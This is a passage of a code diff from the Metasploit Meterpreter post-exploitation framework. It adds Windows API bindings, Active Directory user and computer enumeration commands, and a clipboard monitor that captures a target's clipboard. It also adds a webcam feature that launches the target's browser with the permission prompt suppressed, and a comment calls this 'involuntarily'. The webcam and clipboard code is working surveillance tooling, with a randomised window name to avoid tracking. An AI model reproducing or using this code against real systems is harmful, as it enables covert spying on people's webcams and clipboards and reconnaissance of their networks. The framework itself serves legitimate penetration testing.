+      ["LPVOID","lpString","in"],
       ])
 
     dll.add_function( 'lstrlenW', 'DWORD',[
-      ["PWCHAR","lpString","in"],
+      ["LPVOID","lpString","in"],
       ])
 
 
diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_netapi32.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_netapi32.rb
index 8d2b7bc82a..8fcb491f4e 100644
--- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_netapi32.rb
+++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_netapi32.rb
@@ -12,6 +12,19 @@ class Def_netapi32
   def self.create_dll(dll_path = 'netapi32')
     dll = DLL.new(dll_path, ApiConstants.manager)
 
+    dll.add_function('NetApiBufferFree','DWORD',[
+      ["LPVOID","Buffer","in"]
+    ])
+
+    dll.add_function('DsGetDcNameA', 'DWORD',[
+      ["PWCHAR","ComputerName","in"],
+      ["PWCHAR","DomainName","in"],
+      ["PBLOB","DomainGuid","in"],
+      ["PWCHAR","SiteName","in"],
+      ["DWORD","Flags","in"],
+      ["PDWORD","DomainControllerInfo","out"]
+    ])
+
     dll.add_function('NetUserDel', 'DWORD',[
       ["PWCHAR","servername","in"],
       ["PWCHAR","username","in"],
@@ -55,6 +68,29 @@ class Def_netapi32
       ["PDWORD","totalentries","out"]
     ])
 
+    dll.add_function('NetSessionEnum', 'DWORD',[
+        ['PWCHAR','servername','in'],
+        ['PWCHAR','UncClientName','in'],
+        ['PWCHAR','username','in'],
+        ['DWORD','level','in'],
+        ['PDWORD','bufptr','out'],
+        ['DWORD','prefmaxlen','in'],
+        ['PDWORD','entriesread','out'],
+        ['PDWORD','totalentries','out'],
+        ['PDWORD','resume_handle','inout']
+    ])
+
+    dll.add_function('NetApiBufferFree', 'DWORD', [
+        ['LPVOID','buffer','in']
+    ])
+
+    dll.add_function('NetUserChangePassword', 'DWORD', [
+      ["PWCHAR","domainname","in"],
+      ["PWCHAR","username","in"],
+      ["PWCHAR","oldpassword","in"],
+      ["PWCHAR","newpassword","in"]
+    ])
+
     return dll
   end
 
diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_wldap32.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_wldap32.rb
index 89cb80c00a..e96e8c358d 100644
--- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_wldap32.rb
+++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_wldap32.rb
@@ -35,6 +35,26 @@ class Def_wldap32
         ['PDWORD', 'res', 'out']
     ], 'ldap_search_sA', "cdecl")
 
+    dll.add_function('ldap_set_option', 'DWORD',[
+        ['DWORD', 'ld', 'in'],
+        ['DWORD', 'option', 'in'],
+        ['PDWORD', 'invalue', 'in']
+    ], 'ldap_set_option', "cdecl")
+
+    dll.add_function('ldap_search_ext_sA', 'DWORD',[
+        ['DWORD', 'ld', 'in'],
+        ['PCHAR', 'base', 'in'],
+        ['DWORD', 'scope', 'in'],
+        ['PCHAR', 'filter', 'in'],
+        ['PCHAR', 'attrs[]', 'in'],
+        ['DWORD', 'attrsonly', 'in'],
+        ['DWORD', 'pServerControls', 'in'],
+        ['DWORD', 'pClientControls', 'in'],
+        ['DWORD', 'pTimeout', 'in'],
+        ['DWORD', 'SizeLimit', 'in'],
+        ['PDWORD', 'res', 'out']
+    ], 'ldap_search_ext_sA', "cdecl")
+
     dll.add_function('ldap_count_entries', 'DWORD',[
         ['DWORD', 'ld', 'in'],
         ['DWORD', 'res', 'in']
diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/util.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/util.rb
index f0c1c621c4..ba5f21bca6 100644
--- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/util.rb
+++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/util.rb
@@ -341,7 +341,7 @@ class  Util
   # See #unpack_pointer
   #
   def is_null_pointer(pointer)
-    if pointer.class == String
+    if pointer.kind_of? String
       pointer = unpack_pointer(pointer)
     end
 
@@ -375,6 +375,26 @@ class  Util
     return str
   end
 
+  #
+  # Reads null-terminated ASCII strings from memory.
+  #
+  # Given a pointer to a null terminated array of CHARs, return a ruby
+  # String. If +pointer+ is NULL (see #is_null_pointer) returns an empty
+  # string.
+  #
+  def read_string(pointer, length=nil)
+    if is_null_pointer(pointer)
+      return ''
+    end
+
+    unless length
+      length = railgun.kernel32.lstrlenA(pointer)['return']
+    end
+
+    chars = read_array(:CHAR, length, pointer)
+    return chars.join('')
+  end
+
   #
   # Read a given number of bytes from memory or from a provided buffer.
   #
@@ -437,7 +457,7 @@ class  Util
       return raw.unpack('l').first
     end
 
- 		#If nothing worked thus far, return it raw
+    #If nothing worked thus far, return it raw
     return raw
   end
 
@@ -498,7 +518,7 @@ class  Util
 
   # Returns true if the type passed describes a data structure, false otherwise
   def is_struct_type?(type)
-    return type.class == Array
+    return type.kind_of? Array
   end
 
 
@@ -513,10 +533,13 @@ class  Util
       return pointer_size
     end
 
-    if is_array_type?(type)
-      element_type, length = split_array_type(type)
-
-      return length * sizeof_type(element_type)
+    if type.kind_of? String
+      if is_array_type?(type)
+        element_type, length = split_array_type(type)
+        return length * sizeof_type(element_type)
+      else
+        return sizeof_type(type.to_sym)
+      end
     end
 
     if is_struct_type?(type)
@@ -559,10 +582,8 @@ class  Util
   def struct_offsets(definition, offset)
     padding = 0
     offsets = []
-
     definition.each do |mapping|
       key, data_type = mapping
-
       if sizeof_type(data_type) > padding
         offset = offset + padding
       end
@@ -570,7 +591,6 @@ class  Util
       offsets.push(offset)
 
       offset = offset + sizeof_type(data_type)
-
       padding = calc_padding(offset)
     end
 
@@ -606,12 +626,11 @@ class  Util
     if type =~ /^(\w+)\[(\w+)\]$/
       element_type = $1
       length = $2
-
       unless length =~ /^\d+$/
         length = railgun.const(length)
       end
 
-      return element_type, length
+      return element_type.to_sym, length.to_i
     else
       raise "Can not split non-array type #{type}"
     end
diff --git a/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb b/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb
index 751eee39a4..82d75c3b6f 100644
--- a/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb
+++ b/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb
@@ -30,7 +30,7 @@ class Config
   def getuid
     request  = Packet.create_request('stdapi_sys_config_getuid')
     response = client.send_request(request)
-    return client.unicode_filter_encode( response.get_tlv_value(TLV_TYPE_USER_NAME) )
+    client.unicode_filter_encode( response.get_tlv_value(TLV_TYPE_USER_NAME) )
   end
 
   #
@@ -53,14 +53,15 @@ class Config
       result[var_name] = var_value
     end
 
-    return result
+    result
   end
 
   #
   # Returns the value of a single requested environment variable name
   #
   def getenv(var_name)
-    getenvs(var_name)[var_name]
+    _, value = getenvs(var_name).first
+    value
   end
 
   #
@@ -92,7 +93,7 @@ class Config
     req = Packet.create_request('stdapi_sys_config_steal_token')
     req.add_tlv(TLV_TYPE_PID, pid.to_i)
     res = client.send_request(req)
-    return client.unicode_filter_encode( res.get_tlv_value(TLV_TYPE_USER_NAME) )
+    client.unicode_filter_encode( res.get_tlv_value(TLV_TYPE_USER_NAME) )
   end
 
   #
@@ -101,7 +102,7 @@ class Config
   def drop_token
     req = Packet.create_request('stdapi_sys_config_drop_token')
     res = client.send_request(req)
-    return client.unicode_filter_encode( res.get_tlv_value(TLV_TYPE_USER_NAME) )
+    client.unicode_filter_encode( res.get_tlv_value(TLV_TYPE_USER_NAME) )
   end
 
   #
@@ -114,7 +115,7 @@ class Config
     res.each(TLV_TYPE_PRIVILEGE) do |p|
       ret << p.value
     end
-    return ret
+    ret
   end
 
 protected
diff --git a/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb b/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb
index c18f9de1f9..436446b53b 100644
--- a/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb
+++ b/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb
@@ -1,5 +1,7 @@
 # -*- coding: binary -*-
 
+#require 'rex/post/meterpreter/extensions/process'
+
 module Rex
 module Post
 module Meterpreter
@@ -14,10 +16,17 @@ module Webcam
 ###
 class Webcam
 
+  include Msf::Post::Common
+  include Msf::Post::File
+
   def initialize(client)
     @client = client
   end
 
+  def session
+    @client
+  end
+
   def webcam_list
     response = client.send_request(Packet.create_request('webcam_list'))
     names = []
@@ -47,6 +56,26 @@ class Webcam
     true
   end
 
+  #
+  # Starts a webcam session with a remote user via WebRTC
+  #
+  # @param server [String] A server to use for the channel.
+  # @return void
+  #
+  def webcam_chat(server)
+    offerer_id = Rex::Text.rand_text_alphanumeric(10)
+    channel    = Rex::Text.rand_text_alphanumeric(20)
+
+    remote_browser_path = get_webrtc_browser_path
+
+    if remote_browser_path.blank?
+      raise RuntimeError, "Unable to find a suitable browser on the target machine"
+    end
+
+    ready_status = init_video_chat(remote_browser_path, server, channel, offerer_id)
+    connect_video_chat(server, channel, offerer_id)
+  end
+
   # Record from default audio source for +duration+ seconds;
   # returns a low-quality wav file
   def record_mic(duration)
@@ -58,6 +87,174 @@ class Webcam
 
   attr_accessor :client
 
+
+  private
+
+
+  #
+  # Returns a browser path that supports WebRTC
+  #
+  # @return [String]
+  #
+  def get_webrtc_browser_path
+    found_browser_path = ''
+
+    case client.platform
+    when /win/
+      paths = [
+        "Program Files\\Google\\Chrome\\Application\\chrome.exe",
+        "Program Files\\Mozilla Firefox\\firefox.exe"
+      ]
+
+      drive = session.sys.config.getenv("SYSTEMDRIVE")
+      paths = paths.map { |p| "#{drive}\\#{p}" }
+
+      # Old chrome path
+      user_profile = client.sys.config.getenv("USERPROFILE")
+      paths << "#{user_profile}\\Local Settings\\Application Data\\Google\\Chrome\\Application\\chrome.exe"
+
+      paths.each do |browser_path|
+        if file?(browser_path)
+          found_browser_path = browser_path
+          break
+        end
+      end
+
+    when /osx|bsd/
+      [
+        '/Applications/Google Chrome.app',
+        '/Applications/Firefox.app',
+      ].each do |browser_path|
+        if file?(browser_path)
+          found_browser_path = browser_path
+          break
+        end
+      end
+    when /linux|unix/
+      # Need to add support for Linux in the future.
+      # But you see, the Linux meterpreter is so broken there is no point
+      # to do it now. You can't test anyway.
+    end
+
+    found_browser_path
+  end
+
+
+  #
+  # Creates a video chat session as an offerer... involuntarily :-p
+  # Windows targets only.
+  #
+  # @param remote_browser_path [String] A browser path that supports WebRTC on the target machine
+  # @param offerer_id [String] A ID that the answerer can look for and join
+  #
+  def init_video_chat(remote_browser_path, server, channel, offerer_id)
+    interface = load_interface('offerer.html')
+    api       = load_api_code
+
+    interface = interface.gsub(/\=SERVER\=/, server)
+    interface = interface.gsub(/\=CHANNEL\=/, channel)
+    interface = interface.gsub(/\=OFFERERID\=/, offerer_id)
+
+    tmp_dir = session.sys.config.getenv("TEMP")
+
+    begin
+      write_file("#{tmp_dir}\\interface.html", interface)
+      write_file("#{tmp_dir}\\api.js", api)
+    rescue ::Exception => e
+      elog("webcam_chat failed. #{e.class} #{e.to_s}")
+      raise RuntimeError, "Unable to initialize the interface on the target machine"
+    end
+
+    #
+    # Automatically allow the webcam to run on the target machine
+    #
+    args = ''
+    if remote_browser_path =~ /Chrome/
+      args = "--allow-file-access-from-files --use-fake-ui-for-media-stream"
+    elsif remote_browser_path =~ /Firefox/
+      profile_name = Rex::Text.rand_text_alpha(8)
+      o = cmd_exec("#{remote_browser_path} --CreateProfile #{profile_name} #{tmp_dir}\\#{profile_name}")
+      profile_path = (o.scan(/created profile '.+' at '(.+)'/).flatten[0] || '').strip
+      setting = %Q|user_pref("media.navigator.permission.disabled", true);|
+      begin
+        write_file(profile_path, setting)
+      rescue ::Exception => e
+        elog("webcam_chat failed: #{e.class} #{e.to_s}")
+        raise RuntimeError, "Unable to write the necessary setting for Firefox."
+      end
+      args = "-p #{profile_name}"
+    end
+
+    exec_opts = {'Hidden' => false, 'Channelized' => false}
+
+    begin
+      session.sys.process.execute(remote_browser_path, "#{args} #{tmp_dir}\\interface.html", exec_opts)
+    rescue ::Exception => e
+      elog("webcam_chat failed. #{e.class} #{e.to_s}")
+      raise RuntimeError, "Unable to start the remote browser: #{e.message}"
+    end
+  end
+
+
+  #
+  # Connects to a video chat session as an answerer
+  #
+  # @param offerer_id [String] The offerer's ID in order to join the video chat
+  # @return void
+  #
+  def connect_video_chat(server, channel, offerer_id)
+    interface = load_interface('answerer.html')
+    api       = load_api_code
+
+    tmp_api = Tempfile.new('api.js')
+    tmp_api.binmode
+    tmp_api.write(api)
+    tmp_api.close
+
+    interface = interface.gsub(/\=SERVER\=/, server)
+    interface = interface.gsub(/\=WEBRTCAPIJS\=/, tmp_api.path)
+    interface = interface.gsub(/\=RHOST\=/, rhost)
+    interface = interface.gsub(/\=CHANNEL\=/, channel)
+    interface = interface.gsub(/\=OFFERERID\=/, offerer_id)
+
+    tmp_interface = Tempfile.new('answerer.html')
+    tmp_interface.binmode
+    tmp_interface.write(interface)
+    tmp_interface.close
+
+    found_local_browser = Rex::Compat.open_webrtc_browser(tmp_interface.path)
+    unless found_local_browser
+      raise RuntimeError, "Unable to find a suitable browser to connect to the target"
+    end
+  end
+
+
+  #
+  # Returns the webcam interface
+  #
+  # @param html_name [String] The filename of the HTML interface (offerer.html or answerer.html)
+  # @return [String] The HTML interface code
+  #
+  def load_interface(html_name)
+    interface_path = ::File.join(Msf::Config.data_directory, 'webcam', html_name)
+    interface_code = ''
+    ::File.open(interface_path) { |f| interface_code = f.read }
+    interface_code
+  end
+
+
+  #
+  # Returns the webcam API
+  #
+  # @return [String] The WebRTC lib code
+  #
+  def load_api_code
+    js_api_path = ::File.join(Msf::Config.data_directory, 'webcam', 'api.js')
+    api = ''
+    ::File.open(js_api_path) { |f| api = f.read }
+    api
+  end
+
 end
 
 end; end; end; end; end; end
diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi.rb
index ffd231c7e0..326c837d3f 100644
--- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi.rb
+++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi.rb
@@ -16,6 +16,8 @@ class Console::CommandDispatcher::Extapi
   require 'rex/post/meterpreter/ui/console/command_dispatcher/extapi/window'
   require 'rex/post/meterpreter/ui/console/command_dispatcher/extapi/service'
   require 'rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard'
+  require 'rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi'
+  require 'rex/post/meterpreter/ui/console/command_dispatcher/extapi/wmi'
 
   Klass = Console::CommandDispatcher::Extapi
 
@@ -23,7 +25,9 @@ class Console::CommandDispatcher::Extapi
     [
       Klass::Window,
       Klass::Service,
-      Klass::Clipboard
+      Klass::Clipboard,
+      Klass::Adsi,
+      Klass::Wmi
     ]
 
   include Console::CommandDispatcher
diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb
new file mode 100644
index 0000000000..a8659650e3
--- /dev/null
+++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb
@@ -0,0 +1,198 @@
+# -*- coding: binary -*-
+require 'rex/post/meterpreter'
+
+module Rex
+module Post
+module Meterpreter
+module Ui
+
+###
+#
+# Extended API ADSI management user interface.
+#
+###
+class Console::CommandDispatcher::Extapi::Adsi
+
+  Klass = Console::CommandDispatcher::Extapi::Adsi
+
+  include Console::CommandDispatcher
+
+  # Zero indicates "no limit"
+  DEFAULT_MAX_RESULTS = 0
+  DEFAULT_PAGE_SIZE   = 0
+
+  #
+  # List of supported commands.
+  #
+  def commands
+    {
+      "adsi_user_enum"     => "Enumerate all users on the specified domain.",
+      "adsi_computer_enum" => "Enumerate all computers on the specified domain.",
+      "adsi_domain_query"  => "Enumerate all objects on the specified domain that match a filter."
+    }
+  end
+
+  #
+  # Name for this dispatcher
+  #
+  def name
+    "Extapi: ADSI Management"
+  end
+
+  #
+  # Options for the adsi_user_enum command.
+  #
+  @@adsi_user_enum_opts = Rex::Parser::Arguments.new(
+    "-h" => [ false, "Help banner" ],
+    "-m" => [ true, "Maximum results to return." ],
+    "-p" => [ true, "Result set page size." ]
+  )
+
+  def adsi_user_enum_usage
+    print(
+      "\nUsage: adsi_user_enum <domain> [-h] [-m maxresults] [-p pagesize]\n\n" +
+      "Enumerate the users on the target domain.\n\n" +
+      "Enumeration returns information such as the user name, SAM account name, locked\n" +
+      "status, desc, and comment.\n" +
+      @@adsi_user_enum_opts.usage)
+  end
+
+  #
+  # Enumerate domain users.
+  #
+  def cmd_adsi_user_enum(*args)
+    args.unshift("-h") if args.length == 0
+    if args.include?("-h")
+      adsi_user_enum_usage
+      return true
+    end
+
+    domain = args.shift
+    filter = "(objectClass=user)"
+    fields = [
+      "samaccountname",
+      "name",
+      "distinguishedname",
+      "description",
+      "comment"
+      ]
+    args = [domain, filter] + fields + args
+    return cmd_adsi_domain_query(*args)
+  end
+
+  #
+  # Options for the adsi_computer_enum command.
+  #
+  @@adsi_computer_enum_opts = Rex::Parser::Arguments.new(
+    "-h" => [ false, "Help banner" ],
+    "-m" => [ true, "Maximum results to return." ],
+    "-p" => [ true, "Result set page size." ]
+  )
+
+  def adsi_computer_enum_usage
+    print(
+      "\nUsage: adsi_computer_enum <domain> [-h] [-m maxresults] [-p pagesize]\n\n" +
+      "Enumerate the computers on the target domain.\n\n" +
+      "Enumeration returns information such as the computer name, desc, and comment.\n" +
+      @@adsi_computer_enum_opts.usage)
+  end
+
+  #
+  # Enumerate domain computers.
+  #
+  def cmd_adsi_computer_enum(*args)
+    args.unshift("-h") if args.length == 0
+    if args.include?("-h")
+      adsi_computer_enum_usage
+      return true
+    end
+
+    domain = args.shift
+    filter = "(objectClass=computer)"
+    fields = [
+      "name",
+      "distinguishedname",
+      "description",
+      "comment"
+      ]
+    args = [domain, filter] + fields + args
+    return cmd_adsi_domain_query(*args)
+  end
+
+  #
+  # Options for the adsi_domain_query command.
+  #
+  @@adsi_domain_query_opts = Rex::Parser::Arguments.new(
+    "-h" => [ false, "Help banner" ],
+    "-m" => [ true, "Maximum results to return." ],
+    "-p" => [ true, "Result set page size." ]
+  )
+
+  def adsi_domain_query_usage
+    print(
+      "\nUsage: adsi_domain_query <domain> <filter> <field 1> [field 2 [field ..]] [-h] [-m maxresults] [-p pagesize]\n\n" +
+      "Enumerate the objects on the target domain.\n\n" +
+      "Enumeration returns the set of fields that are specified.\n" +
+      @@adsi_domain_query_opts.usage)
+  end
+
+  #
+  # Enumerate domain objects.
+  #
+  def cmd_adsi_domain_query(*args)
+    page_size = DEFAULT_PAGE_SIZE
+    max_results = DEFAULT_MAX_RESULTS
+
+    args.unshift("-h") if args.length < 3
+
+    @@adsi_domain_query_opts.parse(args) { |opt, idx, val|
+      case opt
+      when "-p"
+        page_size = val.to_i
+      when "-m"
+        max_results = val.to_i
+      when "-h"
+        adsi_domain_query_usage
+        return true
+      end
+    }
+
+    # Assume that the flags are passed in at the end. Safe?
+    switch_index = args.index { |a| a.start_with?("-") }
+    if switch_index
+      args = args.first(switch_index)
+    end
+
+    domain = args.shift
+    filter = args.shift
+
+    objects = client.extapi.adsi.domain_query(domain, filter, max_results, page_size, args)
+
+    table = Rex::Ui::Text::Table.new(
+      'Header'    => "#{domain} Objects",
+      'Indent'    => 0,
+      'SortIndex' => 0,
+      'Columns'   => objects[:fields]
+    )
+
+    objects[:results].each do |c|
+      table << c
+    end
+
+    print_line
+    print_line(table.to_s)
+
+    print_line("Total objects: #{objects[:results].length}")
+
+    print_line
+
+    return true
+  end
+
+end
+
+end
+end
+end
+end
+
diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb
index 8a95288ae1..199cad709c 100644
--- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb
+++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb
@@ -5,7 +5,6 @@ module Rex
 module Post
 module Meterpreter
 module Ui
-
 ###
 #
 # Extended API window management user interface.
@@ -22,8 +21,14 @@ class Console::CommandDispatcher::Extapi::Clipboard
   #
   def commands
     {
-      "clipboard_get_data" => "Read the victim's current clipboard (text, files, images)",
-      "clipboard_set_text" => "Write text to the victim's clipboard"
+      "clipboard_get_data"       => "Read the target's current clipboard (text, files, images)",
+      "clipboard_set_text"       => "Write text to the target's clipboard",
+      "clipboard_monitor_start"  => "Start the clipboard monitor",
+      "clipboard_monitor_pause"  => "Pause the active clipboard monitor",
+      "clipboard_monitor_resume" => "Resume the paused clipboard monitor",
+      "clipboard_monitor_dump"   => "Dump all captured clipboard content",
+      "clipboard_monitor_purge"  => "Delete all captured cilpboard content without dumping it",
+      "clipboard_monitor_stop"   => "Stop the clipboard monitor"
     }
   end
 
@@ -39,19 +44,19 @@ class Console::CommandDispatcher::Extapi::Clipboard
   #
   @@get_data_opts = Rex::Parser::Arguments.new(
     "-h" => [ false, "Help banner" ],
-    "-d" => [ true, "Download non-text content to the specified folder (or current folder)", nil ]
+    "-d" => [ true, "Download non-text content to the specified folder (default: current dir)", nil ]
   )
 
   def print_clipboard_get_data_usage
     print(
       "\nUsage: clipboard_get_data [-h] [-d]\n\n" +
-      "Attempts to read the data from the victim's clipboard. If the data is in a\n" +
+      "Attempts to read the data from the target's clipboard. If the data is in a\n" +
       "supported format, it is read and returned to the user.\n" +
       @@get_data_opts.usage + "\n")
   end
 
   #
-  # Get the data from the victim's clipboard
+  # Get the data from the target's clipboard
   #
   def cmd_clipboard_get_data(*args)
     download_content = false
@@ -67,79 +72,14 @@ class Console::CommandDispatcher::Extapi::Clipboard
       end
     }
 
-    loot_dir = download_path || "."
-    if not ::File.directory?( loot_dir )
-      ::FileUtils.mkdir_p( loot_dir )
-    end
+    dump = client.extapi.clipboard.get_data(download_content)
 
-    # currently we only support text values
-    results = client.extapi.clipboard.get_data(download_content)
-
-    if results.length == 0
+    if dump.length == 0
       print_error( "The current Clipboard data format is not supported." )
       return false
     end
 
-    results.each { |r|
-      case r[:type]
-      when :text
-        print_line
-        print_line( "Current Clipboard Text" )
-        print_line( "======================" )
-        print_line
-        print_line( r[:data] )
-
-      when :jpg
-        print_line
-        print_line( "Clipboard Image Dimensions: #{r[:width]}x#{r[:height]}" )
-
-        if download_content
-          file = Rex::Text.rand_text_alpha(8) + ".jpg"
-          path = File.join( loot_dir, file )
-          path = ::File.expand_path( path )
-          ::File.open( path, 'wb' ) do |f|
-            f.write r[:data]
-          end
-          print_good( "Clipboard image saved to #{path}" )
-        else
-          print_line( "Re-run with -d to download image." )
-        end
-
-      when :files
-        if download_content
-          loot_dir = ::File.expand_path( loot_dir )
-          print_line
-          print_status( "Downloading Clipboard Files ..." )
-          r[:data].each { |f|
-            download_file( loot_dir, f[:name] )
-          }
-          print_good( "Downloaded #{r[:data].length} file(s)." )
-          print_line
-        else
-          table = Rex::Ui::Text::Table.new(
-            'Header'    => 'Current Clipboard Files',
-            'Indent'    => 0,
-            'SortIndex' => 0,
-            'Columns'   => [
-              'File Path', 'Size (bytes)'
-            ]
-          )
-
-          total = 0
-          r[:data].each { |f|
-            table << [f[:name], f[:size]]
-            total += f[:size]
-          }
-
-          print_line
-          print_line(table.to_s)
-
-          print_line( "#{r[:data].length} file(s) totalling #{total} bytes" )
-        end
-      end
-      
-      print_line
-    }
+    parse_dump(dump, download_content, download_content, download_path)
     return true
   end
 
@@ -150,7 +90,7 @@ class Console::CommandDispatcher::Extapi::Clipboard
     "-h" => [ false, "Help banner" ]
   )
 
-  def clipboard_set_text_usage
+  def print_clipboard_set_text_usage
     print(
       "\nUsage: clipboard_set_text [-h] <text>\n\n" +
       "Set the target's clipboard to the given text value.\n\n")
@@ -165,15 +105,270 @@ class Console::CommandDispatcher::Extapi::Clipboard
     @@set_text_opts.parse(args) { |opt, idx, val|
       case opt
       when "-h"
-        clipboard_set_text_usage
+        print_clipboard_set_text_usage
         return true
       end
     }
 
-    return client.extapi.clipboard.set_text(args.join(" "))
+  return client.extapi.clipboard.set_text(args.join(" "))
   end
 
-protected
+  #
+  # Options for the clipboard_monitor_start command.
+  #
+  @@monitor_start_opts = Rex::Parser::Arguments.new(
+    "-h" => [ false, "Help banner" ],
+    "-i" => [ true, "Capture image content when monitoring (default: true)" ]
+  )
+
+  #
+  # Help for the clipboard_monitor_start command.
+  #
+  def print_clipboard_monitor_start_usage
+    print(
+      "\nUsage: clipboard_monitor_start [-i true|false] [-h]\n\n" +
+      "Starts a background clipboard monitoring thread. The thread watches\n" +
+      "the clipboard on the target, under the context of the current desktop, and when\n" +
+      "changes are detected the contents of the clipboard are captured. Contents can be\n" +
+      "dumped periodically. Image content can be captured as well (and will be by default)\n" +
+      "however this can consume quite a bit of memory.\n\n" +
+      @@monitor_start_opts.usage + "\n")
+  end
+
+  #
+  # Start the clipboard monitor.
+  #
+  def cmd_clipboard_monitor_start(*args)
+    capture_images = true
+
+    @@monitor_start_opts.parse(args) { |opt, idx, val|
+      case opt
+      when "-i"
+        # default this to true
+        capture_images = val.downcase != 'false'
+      when "-h"
+        print_clipboard_monitor_start_usage
+        return true
+      end
+    }
+
+    client.extapi.clipboard.monitor_start({
+      # random class and window name so that it isn't easy
+      # to track via a script
+      :wincls  => Rex::Text.rand_text_alpha(8),
+      :cap_img => capture_images
+    })
+
+    print_good("Clipboard monitor started")
+  end
+
+  #
+  # Options for the clipboard_monitor_purge command.
+  #
+  @@monitor_purge_opts = Rex::Parser::Arguments.new(
+    "-h" => [ false, "Help banner" ]
+  )
+
+  #
+  # Help for the clipboard_monitor_purge command.
+  #
+  def print_clipboard_monitor_purge_usage
+    print("\nUsage: clipboard_monitor_purge [-h]\n\n" +
+      "Purge the captured contents from the monitor. This does not stop\n" +
+      "the monitor from running, it just removes captured content.\n\n" +
+      @@monitor_purge_opts.usage + "\n")
+  end
+
+  #
+  # Purge the clipboard monitor captured contents
+  #
+  def cmd_clipboard_monitor_purge(*args)
+    @@monitor_purge_opts.parse(args) { |opt, idx, val|
+      case opt
+      when "-h"
+        print_clipboard_monitor_purge_usage
+        return true
+      end
+    }
+    client.extapi.clipboard.monitor_purge
+    print_good("Captured clipboard contents purged successfully")
+  end
+
+  #
+  # Options for the clipboard_monitor_pause command.
+  #
+  @@monitor_pause_opts = Rex::Parser::Arguments.new(
+    "-h" => [ false, "Help banner" ]
+  )
+
+  #
+  # Help for the clipboard_monitor_pause command.
+  #
+  def print_clipboard_monitor_pause_usage
+    print("\nUsage: clipboard_monitor_pause [-h]\n\n" +
+      "Pause the currently running clipboard monitor thread.\n\n" +
+      @@monitor_pause_opts.usage + "\n")
+  end
+
+  #
+  # Pause the clipboard monitor captured contents
+  #
+  def cmd_clipboard_monitor_pause(*args)
+    @@monitor_pause_opts.parse(args) { |opt, idx, val|
+      case opt
+      when "-h"
+        print_clipboard_monitor_pause_usage
+        return true
+      end
+    }
+    client.extapi.clipboard.monitor_pause
+    print_good("Clipboard monitor paused successfully")
+  end
+
+  #
+  # Options for the clipboard_monitor_resumse command.
+  #
+  @@monitor_resume_opts = Rex::Parser::Arguments.new(
+    "-h" => [ false, "Help banner" ]
+  )
+
+  #
+  # Help for the clipboard_monitor_resume command.
+  #
+  def print_clipboard_monitor_resume_usage
+    print("\nUsage: clipboard_monitor_resume [-h]\n\n" +
+      "Resume the currently paused clipboard monitor thread.\n\n" +
+      @@monitor_resume_opts.usage + "\n")
+  end
+
+  #
+  # resume the clipboard monitor captured contents
+  #
+  def cmd_clipboard_monitor_resume(*args)
+    @@monitor_resume_opts.parse(args) { |opt, idx, val|
+      case opt
+      when "-h"
+        print_clipboard_monitor_resume_usage
+        return true
+      end
+    }
+    client.extapi.clipboard.monitor_resume
+    print_good("Clipboard monitor resumed successfully")
+  end
+
+  #
+  # Options for the clipboard_monitor_dump command.
+  #
+  @@monitor_dump_opts = Rex::Parser::Arguments.new(
+    "-h" => [ false, "Help banner" ],
+    "-i" => [ true,  "Indicate if captured image data should be downloaded (default: true)" ],
+    "-f" => [ true,  "Indicate if captured file data should be downloaded (default: true)" ],
+    "-p" => [ true,  "Purge the contents of the monitor once dumped (default: true)" ],
+    "-d" => [ true,  "Download non-text content to the specified folder (default: current dir)" ]
+  )
+
+  #
+  # Help for the clipboard_monitor_dump command.
+  #
+  def print_clipboard_monitor_dump_usage
+    print(
+      "\nUsage: clipboard_monitor_dump [-d true|false] [-d downloaddir] [-h]\n\n" +
+      "Dump the capture clipboard contents to the local machine..\n\n" +
+      @@monitor_dump_opts.usage + "\n")
+  end
+
+  #
+  # Dump the clipboard monitor contents to the local machine.
+  #
+  def cmd_clipboard_monitor_dump(*args)
+    purge = true
+    download_images = true
+    download_files = true
+    download_path = nil
+
+    @@monitor_dump_opts.parse(args) { |opt, idx, val|
+      case opt
+      when "-d"
+        download_path = val
+      when "-i"
+        download_images = val.downcase != 'false'
+      when "-f"
+        download_files = val.downcase != 'false'
+      when "-p"
+        purge = val.downcase != 'false'
+      when "-h"
+        print_clipboard_monitor_dump_usage
+        return true
+      end
+    }
+
+    dump = client.extapi.clipboard.monitor_dump({
+      :include_images => download_images,
+      :purge          => purge
+    })
+
+    parse_dump(dump, download_images, download_files, download_path)
+
+    print_good("Clipboard monitor dumped")
+  end
+
+  #
+  # Options for the clipboard_monitor_stop command.
+  #
+  @@monitor_stop_opts = Rex::Parser::Arguments.new(
+    "-h" => [ false, "Help banner" ],
